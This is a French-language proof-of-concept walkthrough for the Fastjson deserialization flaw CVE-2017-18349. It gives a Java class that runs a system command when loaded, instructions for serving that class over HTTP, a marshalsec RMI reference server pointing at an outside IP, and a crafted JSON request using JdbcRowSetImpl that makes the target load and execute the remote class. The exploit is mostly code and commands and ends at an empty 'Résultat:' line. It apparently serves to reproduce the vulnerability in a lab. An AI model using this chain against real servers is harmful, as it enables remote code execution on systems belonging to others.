
Preuve de concept d'exploitation pour la vulnérabilité de désérialisation Fastjson CVE-2017-18349, démontrant l'exécution de code à distance via une charge utile JSON conçue et un serveur RMI.
Après avoir configuré le projet en tant que projet Maven, exécutez (attention, l'utilisation d'une version élevée du JDK peut échouer, il est recommandé d'utiliser la version 1.8.65 du JDK) la fonction main de FastjsondemoApplication.java Fichier TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/flag_test"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
Ensuite, compilez en fichier class avec javac version 8
javac TouchFile.java
Démarrer un service web avec Python
python -m SimpleHTTPServer 80
Générer un RMIServer avec marshalsec
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://47.99.70.18/#TouchFile" 9999
Modifier le paquet de requête
POST / HTTP/1.1
Host: 127.0.0.1:8080
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://47.99.70.18:9999/TouchFile",
"autoCommit":true
}
}
Résultat: 